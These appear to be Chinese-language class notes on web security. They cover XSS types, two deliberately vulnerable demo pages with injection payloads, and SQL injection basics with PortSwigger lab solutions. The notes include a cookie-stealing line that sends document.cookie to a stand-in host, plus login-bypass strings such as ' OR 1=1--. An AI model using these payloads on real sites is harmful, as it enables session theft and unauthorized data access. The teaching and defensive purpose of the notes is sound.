Web II by zhen === :::danger 請愛惜共筆,勿進行惡意刪減 ::: :::info 先註冊:https://portswigger.net/ 下載:https://www.sublimetext.com/3 (如果有自己習慣的編輯器or用學校電腦不用載) 課程講義:https://slides.com/zhenzhen-1/enlightened2023-web2 ::: # XSS - 跨站腳本攻擊 **C**ross-**S**ite **S**cripting - 對Web頁面注入惡意的JavaScript語句而達到攻擊目的 - 最早可追溯到1990年,大量網站受到XSS攻擊或發現此漏洞 類型 - Reflected - Stored - DOM based ## Reflected - 通常把惡意語句藏在網址列(URL)裡 - 惡意語句並不存於目標伺服器中 - 影響的層面僅限於單次單一使用者 - 把惡意程式藏在網址列(URL)裡 - `http://www.example.com/upload?id=<script>alert(1);</script>` - 使用 URL Encode 編碼 - %3Cscript%3Ealert(1)%3B%3C%2Fscript%3E ![](https://hackmd.io/_uploads/rk9UNZop3.png =500x) ## Stored - 將惡意程式碼注入伺服器進行攻擊 - 注入的語句通常會持續儲存於伺服器的資料庫 - 影響的層面不僅限於個別使用者 - 常見於留言區、評論區 ![](https://hackmd.io/_uploads/Syd2VWoTn.png =500x) ## DOM Based - 沒有檢查資料使得操作 DOM 的過程代入了惡意語句 - 前端小心使用 `.html()` 或是 `.innerHTML()` ![](https://hackmd.io/_uploads/H1UWSbja2.png =500x) ## 三者比較 | 種類 | 伺服器 | 資料庫 | |:------:|:------:|:------:| | 反射型 | 有經過 | 沒經過 | | 儲存型 | 有經過 | 有經過 | | DOM型 | 沒經過 | 沒經過 | ## ~~做一個可以被XSS攻擊的網站~~ ### 網站一 html (XSS.html) ```xml= <html> <head> <title>Hello XSS!</title> </head> <body> <input type = 'text' id = "Input"> <button id="Button">Save</button> <div> Hello, <span id = "Output"></span> </div> <script src="XSS.js"></script> </body> </html> ``` javascript (XSS.js) ```javascript= var Input = document.getElementById('Input'); var Button = document.getElementById('Button'); var Out = document.getElementById('Output'); Button.addEventListener('click', function(){ Out.innerHTML = Input.value; }) ``` #### 透過輸入框彈出alert視窗 提示: - 嘗試輸入 `<h1>XSS</h1>` - on 事件 * onclick:當滑鼠點擊時 * onerror:當出現error時(載入失敗) * onload:當載入成功時 > Q:\<script>alert()\<\script> 沒有用 > A:InnerHTML 會把 \<script> 當文字解析 解法: 1. `<img src="1.png" onclick="alert()">` 2. `<img src="" onerror="alert()">` 3. ... > 歡迎大家留下自己的解法! > `<h1 onclick="alert()">XSS</h1>` > `<iframe src="javascript: alert()" hidden/>` ### 網站二 html (XSS.html) ```xml= <html> <head> <title>Hello XSS!</title> </head> <body> <div id="goto"></div> <input type="text" id="Link" value="" /> <input type="button" value="Go" onclick="gotoLink()" /> <script src="XSS.js"></script> </body> </html> ``` javascript (XSS.js) ```javascript= function gotoLink() { var str = document.getElementById("Link").value; document.getElementById("goto").innerHTML = "<a href='" + str + "' >chick</a>"; } ``` 解法: 1. 輸入 `' onclick='alert(1)` ```javascript= // 原本: document.getElementById("goto").innerHTML = "<a href='" + str + "' >chick</a>"; // str = ' onclick='alert(1): document.getElementById("goto").innerHTML = <a href='' onclick='alert(1)' >chick</a>; ``` 2. 輸入 `javascript:alert();` - 神奇的執行javascript語法 > 歡迎大家留下自己的解法! ## 為甚麼要讓網站alert() 為了確定網站能否讓我們執行 XSS 把這串丟到 FB 看看(? `alert(document.cookie)` ### cookie - 儲存在使用者端的文檔 - 用來解決 HTTP 協定的網頁互動問題 - 會隨著瀏覽器寄送請求時一併送出 - cookie過期與否,可以在cookie生成的時候設定 ## 再看看這行 `docment.location.href="https://XSS.com"+btoa(document.cookie)` ![](https://hackmd.io/_uploads/HyaAQzjp3.png) ## 小總結 - 用各種手段對網站插入惡意語句 - 發生原因通常是沒對使用者的輸入進行過濾 ### 常見目的 - 偷你的資料 (Cookies, Session) - 騙你到假網站 - 偷你身分 (拿你帳號亂發郵件) ### 如何防範 User - 來路不明的東西不要亂點 - 輸入帳密前三思 Developer - 取代危險字元 - 建立白名單 - 保護Cookies (HttpOnly) - Http Security Header - ~~不要自己架網站~~ <font color="#f00">不要相信使用者!!!</font> - [XSS Game](http://www.xssgame.com/) :::spoiler 第一關 輸入 `<script>alert();</script>` ::: :::spoiler 第二關 輸入 `'); alert();//` ::: # SQLi ## SQL - **S**tructured **Q**uery **L**anguage - 用來查詢關聯式資料庫 (Database) 的語言 ### Database - 資料庫 - 放資料的地方 - 使用者透過 DBMS 進行資料庫操作 ### Structure - 假設要選出Du的資料 - 選正確的資料庫 - 選正確的資料表 - 選要那些欄位 - 得到資料 ![](https://hackmd.io/_uploads/Hy45veaTn.png =60%x) ### DBMS - Database management system - MySQL, Oracle... - 跟資料庫互動式需要的 ![](https://hackmd.io/_uploads/SyiklQsph.png =70%x) ### CRUD - 基本的資料庫操作概念 - 建立 **C**reate - 讀取 **R**ead - 更新 **U**pdate - 刪除 **D**elete ### 一些 SQL - 情境假設 - Table: users - Column: username, password, email ```sql= SELECT * FROM users WHERE username = 'Du' AND email = 'du@nisra.net'; ``` - `*`:選擇表中所有的 column - `users`:選擇的表 - `WHERE` 後的則是選取條件 ![](https://hackmd.io/_uploads/B1VZgQsa2.png) - 返回的結果 - users這張表的username=Du並且email=du@nisra.net的所有欄位 ## SQLi - SQL Injection - 構造惡意輸入,影響後端對資料庫的操作 - 通常目標 - 看到他們不應該看到的資料 - 修改或刪除數據 - 類型 - Retrieving hidden data - 獲得隱藏的數據 - Subverting application logic - 影響應用程式邏輯 - UNION attack - UNION 攻擊 - Examining the database - 測試資料庫 - Blind SQL injection - SQL 盲注入 ### Lab 0 - [第一題:SQL injection vulnerability in WHERE clause allowing retrieval of hidden data](https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data):檢索隱藏數據 :::spoiler sol 在網址後方加入 `' OR 1=1--` ::: ### Lab 1 - [第二題:SQL injection vulnerability allowing login bypass](https://portswigger.net/web-security/sql-injection/lab-login-bypass):登入繞過 # 延伸參考 ## 好東西推薦 - [Cross-Site Scripting (XSS) Explained by PwnFunction](https://www.youtube.com/watch?v=EoaDgUgS6QA) - [DVWA安裝和使用指南](https://www.twblogs.net/a/5c6fe5f6bd9eee7f0733b490) - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) ## 參考資料 - [[XSS 1] 從攻擊自己網站學 XSS (Cross-Site Scripting)](https://medium.com/hannah-lin/%E5%BE%9E%E6%94%BB%E6%93%8A%E8%87%AA%E5%B7%B1%E7%B6%B2%E7%AB%99%E5%AD%B8-xss-cross-site-scripting-%E5%8E%9F%E7%90%86%E7%AF%87-fec3d1864e42) - [秒懂 SQL Injection](https://tech-blog.cymetrics.io/posts/nick/sqli/) - google大神 - Du辛苦製作的講義 - NISRA學長姐們的講義m(_ _)m